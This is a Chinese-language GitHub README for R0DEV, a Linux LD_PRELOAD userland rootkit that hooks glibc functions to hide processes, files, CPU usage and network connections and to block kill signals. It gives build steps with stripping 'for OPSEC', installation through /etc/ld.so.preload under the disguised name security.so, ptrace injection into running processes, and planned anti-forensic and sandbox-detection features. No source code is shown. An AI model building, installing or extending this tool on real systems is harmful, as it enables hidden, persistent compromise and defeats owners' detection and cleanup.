K0D3IN/R0DEV
GitHub: K0D3IN/R0DEV
R0DEV 是一个无需内核模块的 Linux 用户态 LD_PRELOAD rootkit,通过 hook glibc 函数实现进程、文件和网络连接的隐藏及防杀保护。
Stars: 0 | Forks: 0
# R0DEV — 用户态 LD_PRELOAD Rootkit
Hook `readdir`, `readdir64`, `stat`, `lstat`, `fstatat`, `open`, `openat`,
`fopen`, `read`, `kill`,以在 Linux 上隐藏进程、文件、CPU 使用率和网络连接。
通过 `ptrace` 进行运行时注入。
无需 LKM。无需内核符号。无需 `kprobe`。可在任何带有 `glibc` 的内核上运行。
## 构建
```
make # rootkit.so + fix_rootkit + forcekill + injector
make strip # strip debug info (OPSEC)
make release # clean + all + strip
make clean
```
## 安装
```
# 系统级(所有新进程)
sudo cp rootkit.so /lib/x86_64-linux-gnu/security.so
echo /lib/x86_64-linux-gnu/security.so | sudo tee /etc/ld.so.preload
# Per-process
LD_PRELOAD=./rootkit.so bash
```
## 用法
运行任何名称中带有该前缀的二进制文件:
```
exec -a R0Dev_binary /path/to/binary
```
该进程将对 `ps`、`ls /proc/`、`top`、`ss`/`netstat` 隐藏。
受保护免受 SIGKILL/SIGTERM 影响。CPU 使用率会从 `/proc/stat` 中减去。
运行时注入到正在运行的进程中:
```
sudo ./injector ./rootkit.so
```
移除:
```
sudo ./fix_rootkit
```
## 配置
| 变量 | 默认值 | 描述 |
|---|---|---|
| `R0DEV_PREFIX` | `r0dev` | 用于隐藏/防杀保护的不区分大小写前缀 |
## Hook
| 函数 | Hook 目标 | 效果 |
|---|---|---|
| `readdir()` / `readdir64()` | `/proc` 列表 | 隐藏 PID 目录及匹配前缀的文件 |
| `stat()` / `lstat()` / `fstatat()` | 文件元数据 | 隐藏匹配前缀的文件 (`ENOENT`) |
| `open()` / `openat()` | 文件打开 | `/proc/stat` → 减去 CPU 使用率的 memfd |
| | | `/proc/net/tcp` → 移除隐藏连接的 memfd |
| `fopen()` | 文件打开 (stdio) | 对于 `/proc/stat` 和 `/proc/net/tcp`,效果与 `open()` 相同 |
| `read()` | 任意 fd | 修改 `/proc/stat`、`/proc/net/tcp` 的传输中 buffer |
| `kill()` | 信号传递 | 阻止向隐藏进程发送 SIGKILL/SIGTERM |
### 连接隐藏细节
当读取 `/proc/net/tcp`、`/proc/net/tcp6` 或 `/proc/net/udp` 时:
1. 扫描 `/proc/` 查找隐藏的 PID(匹配前缀)
2. 对于每个隐藏的 PID,读取 `/proc/PID/fd/` 查找 socket inode
3. 与 `/proc/net/tcp` 中的 inode 列(第 10 个字段)进行比较
4. 移除匹配隐藏 socket 的行
5. 返回带有过滤后内容的内存映射 fd(`memfd`)或 `FILE*`
在 inode 发现过程中,内部使用原始 syscall 以绕过自身的 hook。
## 架构
```
Any Process
┌──────────────────────────────────────┐
│ libc (glibc) │
│ open() ──→ dlsym(RTLD_NEXT) │
│ ↓ │
│ security.so (hook) │
│ has_prefix() ? → modify/return │
│ : → pass-through │
└──────────────────────────────────────┘
↕ LD_PRELOAD
```
## TODO
- [ ] **注入器稳定化** — ptrace 注入在多线程进程上会失败。改用 `process_vm_writev` + 通过远程线程调用 `dlopen`。
- [ ] **`connect()` hook** — 在 socket 层阻止隐藏进程的出站连接(纵深防御)。
- [ ] **`uname()` hook** — 伪造内核版本字符串以进行反取证。
- [ ] **`statx()` hook** — 现代的 `stat` syscall 封装(Linux 4.11+)。
- [ ] **随机化前缀** — 在安装时生成唯一前缀,而不是硬编码的 `r0dev`。
- [ ] **配置文件** — 用 `/etc/r0dev.conf` 替换环境变量以实现无痕配置。
- [ ] **ARM64 构建** — 支持 aarch64 的交叉编译。
- [ ] **沙箱检测** — 在 `strace`、`gdb`、虚拟化环境中跳过 hook。
- [ ] **崩溃时自清理** — 如果 rootkit.so 被移除而没有运行 `fix_rootkit`,`ld.so.preload` 仍会指向缺失的文件;所有进程在加载时会卡死。需要添加故障保护机制。
## 许可证
MIT
标签:API Hook, LD_PRELOAD, Rootkit, Zeek, 客户端加密, 用户态注入, 系统编程, 网络可见性, 进程隐藏